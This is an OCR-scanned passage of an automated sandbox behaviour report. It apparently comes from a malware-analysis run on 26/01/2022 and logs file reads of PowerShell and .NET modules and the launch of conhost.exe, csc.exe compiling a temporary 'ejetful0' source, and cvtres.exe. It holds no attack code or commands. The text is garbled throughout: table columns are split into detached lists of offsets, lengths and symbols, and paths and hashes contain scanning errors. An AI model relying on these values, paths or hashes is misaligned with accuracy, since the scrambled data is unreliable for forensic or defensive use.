C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown 748 success or wait 1 6EE203DE ReadFile
9f6405#\ccc7c82770f93d1392abde4be3a80378\Microsoft. Managemen
t.Infrastructure.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6EEC5705 unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 7976 success or wait 1 6EEC5705 unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 4263 success or wait 1 6EEC5705 unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 4253 success or wait 1 6EEC5705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 8171 end of file 1 6EEC5705 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6EE203DE ReadFile
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio

n.ni.dll.aux

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 4096 success or wait 1 6DE31B4F ReadFile

owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 492 end of file 1 6DE31B4F ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 4096 end of file 1 6DE31B4F ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 success or wait 1 6DE31B4F ReadFile
gement\1.0.0.1\PackageManagement.psd1l

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 774 end of file 1 6DE31B4F ReadFile
gement\1.0.0.1\PackageManagement.psd1l

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 end of file 1 6DE31B4F ReadFile
gement\1.0.0.1\PackageManagement.psd1l

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 1 6DE31B4F ReadFile
0\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6DE31B4F ReadFile
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 2 6DE31B4F ReadFile
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6DE31B4F ReadFile
0\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 7 6DE31B4F ReadFile

O\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 682 end of file 1 6DE31B4F ReadFile
O\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6DE31B4F ReadFile
O\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 1 6DE31B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 289 end of file 1 6DE31B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 end of file 1 6DE31B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 1 6DE31B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 289 end of file 1 6DE31B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 136 6DE31B4F ReadFile
et\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 993 end of file 1 6DE31B4F ReadFile
et\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 end of file 1 6DE31B4F ReadFile
et\1.0.0.1\PSModule.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6DE31B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 637 end of file 1 6DE31B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6DE31B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6DE31B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1
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File Path
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.dll

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

Analysis Process: conhost.exe PID: 7152, Parent PID: 7148

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length

637

4096

128

4096

4096

637

4096

4096

128

4096
4096

534

4096

4096

534

4096

General

Target ID: 6

Start time: 15:01:27

Start date: 26/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):

Commandline:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator true

privileges:
Programmed in:

Reputation:

C, C++ or other language

high

Analysis Process: csc.exe PID: 6208, Parent PID: 7148

General

Target ID: 18

Start time: 15:02:28

Start date: 26/01/2022

Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit): true

Commandline:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.cmdline

Imagebase: 0x3b0000
File size: 2170976 bytes
MDS5 hash: 350C52F71BDED7B99668585C15D70EEA
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Completion

end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

success or wait

end of file

end of file

success or wait

end of file

end of file

Count Source Address

1

6DE31B4F

6DE31B4F

6DE31B4F

6DE31B4F

6DE31B4F

6DE31B4F

6DE31B4F

6DE31B4F

6DE31B4F

6DE31B4F
6DE31B4F

6DE31B4F

6DE31B4F

6DE31B4F

6DE31B4F

6DE31B4F

Symbol

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

File Created

File Path

true

true

.Net C# or VB.NET

moderate

c:\Users\user\AppData\Local\Te
mp\ejetful0\CSCD17B7A03BBAF436
2BESE7ED8FAA386CE.TMP

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\ejetful0\CSCD17B7A03BBAF4362BESE7ED8FAA386CE. TMP

File Written
File Path

Offset

C:\Users\user\AppData\Local\Te 0
mp\ejetful0\CSCD17B7A03BBAF436
2BESE7ED8FAA386CE.TMP

File Read

File Path

C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.cmdline

C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.0.cs

Access

read attributes |
synchronize |
generic write

Length Value

00 00 00 00 20 00 00 00
fd fd 00 00 fd fd 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 4c
02 00 00 3c 00 00 00 fd
fd 10 00 fd fd 01 00 00 00
00 00 30 00 00 00 00 00
00 00 00 00 00 00 4c 02
34 00 00 00 56 00 53 00
5f 00 56 00 45 00 52 00
53 00 49 00 4f 00 4e 00
5f 00 49 00 4e 00 46 00
4f 00 00 00 00 00 fd 04 fd
fd 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 3f 00 00
00 00 00 00 00 04 00 00
00 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 44 00 00 00 01 00 56
00 61 00 72 00 46 00 69
00 6¢ 00 65 00 49 00 6e
00 66 00 6f 00 00 00 00
00 24 00 04 00 00 00 54
00 72 00 61 00 6e 00 73
00 6¢ 00 61 00 74 00 69
00 6f 00 6e 00 00 00 00
00 00 00 fd 04 fd 01 00
0001 0053 00 74 00 72
00 69 00 6e 00 67 00 46
00 69 00 6¢ 00 65 00 49
00 6e 00 66

Offset

unknown

Analysis Process: cvtres.exe PID: 6620, Parent PID: 6208

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

19
15:02:31
26/01/2022

Attributes

device

unknown

Options Completion

synchronous io  success or wait 1 40E1E9
non alert | non

directory file

Completion Count Source Address

success or wait 1 429793

Ascii Completion Count Source Address

L<OL4VS_VERSION_IN  success or wait 1 42967F
FO?DVarFile
Info$TranslationStringFile

Inf

Length Completion

375 success or wait 1 40E638

490 success or wait 1 40E638

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

true

Count Source Address

Count Source Address

Symbol

CreateFileW

Symbol

DeleteFilew

Symbol

WriteFile

Symbol
ReadFile

ReadFile

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe INOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RE
SA312.tmp" "c:\Users\user\AppData\Local\Temp\ejetful0\CSCD17B7A03BBAF4362BESE7ED8FAA386CE. TMP"

0xbe0000
43176 bytes

C09985AE74F0882F208D75DE27770DFA
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Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Reputation: moderate

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol
File Path Offset Length Value Ascii Completion Count Source Address Symbol
File Path Offset Length Completion Count Source Address Symbol
Disassembly

@ No disassembly
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